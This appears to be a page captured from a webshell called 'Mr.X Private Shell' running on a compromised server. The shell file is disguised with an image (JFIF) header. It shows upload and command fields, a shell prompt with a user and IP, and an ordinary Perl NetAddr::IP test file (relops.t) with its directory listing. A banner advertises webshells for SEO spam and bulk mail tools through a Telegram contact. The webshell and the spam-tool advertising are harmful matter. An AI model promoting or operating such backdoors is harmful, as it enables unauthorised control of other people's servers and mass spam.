����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
use NetAddr::IP;

BEGIN {
@gt = (
       [ '255.255.255.255/32', '0.0.0.0/0' ],
       [ 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff', '::/0' ],
       [ '10.0.1.0/16', '10.0.0.1/24' ],
       [ '10.0.0.1/24', '10.0.0.0/24' ],
       [ 'deaf:beef::1/64', 'dead:beef::/64' ],
       );

@ngt = (
	[ '0.0.0.0/0', '255.255.255.255/32' ],
	[ '::/0', 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff' ],
	[ '10.0.0.0/24', '10.0.0.0/24' ],
	[ 'dead:beef::/60', 'dead:beef::/60' ],
	);

@cmp = (
	[ '0.0.0.0/0', '255.255.255.255/32', -1 ],
	[ '::/0', 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff', -1 ],
	[ '10.0.0.0/16', '10.0.0.0/8', 1 ],
	[ 'dead:beef::/60', 'dead:beef::/40', 1 ],
	[ '10.0.0.0/24', '10.0.0.0/8', 1 ],
	[ '255.255.255.255/32', '0.0.0.0/0', 1 ],
	[ 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff', '::/0', 1 ],
	[ '142.52.5.87', '142.52.2.88', 1 ],
	[ '10.0.0.0/24', '10.0.0.0/24', 0 ],
	[ 'default', 'default', 0 ],
	[ 'broadcast', 'broadcast', 0],
	[ 'loopback', 'loopback', 0],
	);

};

use Test::More tests => @gt + @ngt + (2 * @cmp);

for my $a (@gt) {
    $a_ip = new NetAddr::IP::Lite $a->[0];
    $b_ip = new NetAddr::IP::Lite $a->[1];

    ok($a_ip > $b_ip, "$a_ip > $b_ip");
}

for my $a (@ngt) {
    $a_ip = new NetAddr::IP::Lite $a->[0];
    $b_ip = new NetAddr::IP::Lite $a->[1];

    ok(!($a_ip > $b_ip), "$a_ip !> $b_ip");
}

for $a (@cmp) {
    $a_ip = new NetAddr::IP::Lite $a->[0];
    $b_ip = new NetAddr::IP::Lite $a->[1];

    is($a_ip <=> $b_ip, $a->[2], "$a_ip <=> $b_ip is $a->[2]");
    is($a_ip cmp $b_ip, $a->[2], "$a_ip cmp $b_ip is $a->[2]");
}


Filemanager

Name Type Size Permission Actions
canon.t File 480 B 0644
constants.t File 488 B 0644
full.t File 721 B 0644
full6-uri.t File 727 B 0644
full6.t File 721 B 0644
imhoff.t File 873 B 0644
loops.t File 647 B 0644
lower.t File 220 B 0644
masklen.t File 345 B 0644
new-store.t File 812 B 0644
nofqdn.t File 437 B 0644
old-store.t File 841 B 0644
over-arr.t File 500 B 0644
over-qq.t File 800 B 0644
relops.t File 1.53 KB 0644
rfc3021.t File 627 B 0644
short.t File 1.7 KB 0644
splitref.t File 749 B 0644
v4-coalesce.t File 1.47 KB 0644
v4-compact.t File 2.18 KB 0644
v4-compplus.t File 531 B 0644
v4-hostenum.t File 1.02 KB 0644
v4-re.t File 826 B 0644
v4-split-bulk.t File 547 B 0644
v4-split-list.t File 1.17 KB 0644
v4-splitplan.t File 2.23 KB 0644
v4-sprefix.t File 779 B 0644
v4-xprefix.t File 773 B 0644
v6-re.t File 1.42 KB 0644
v6-split-bulk.t File 513 B 0644
v6-splitplan.t File 2.35 KB 0644
wildcard.t File 546 B 0644